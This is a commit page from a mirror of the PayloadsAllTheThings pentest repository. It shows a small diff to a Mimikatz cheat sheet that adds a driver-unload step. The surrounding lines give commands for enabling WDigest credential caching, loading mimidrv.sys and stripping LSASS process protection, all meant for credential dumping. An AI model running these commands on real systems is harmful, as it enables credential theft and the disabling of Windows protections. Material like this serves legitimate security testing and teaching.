Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-13 14:52:53 +00:00
Code Issues Projects Releases Packages Wiki Activity

Unload the service mimi

Browse source
This commit is contained in:
mpgn 2021-02-17 12:21:16 +01:00 committed by GitHub
parent 9be371d793
commit d1c23c5863
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

5
Methodology and Resources/Windows - Mimikatz.md
View file

@ -67,7 +67,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe # Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system # Now lets import the mimidriver.sys to the system
mimikatz # !+ mimikatz # !+
# Now lets remove the protection flags from lsass.exe process # Now lets remove the protection flags from lsass.exe process
@ -80,6 +80,9 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
# Now lets re-add the protection flags to the lsass.exe process # Now lets re-add the protection flags to the lsass.exe process
mimikatz # !processprotect /process:lsass.exe mimikatz # !processprotect /process:lsass.exe
# Unload the service created
mimikatz # !-
``` ```
- LSA is running as virtualized process (LSAISO) by **Credential Guard** - LSA is running as virtualized process (LSAISO) by **Credential Guard**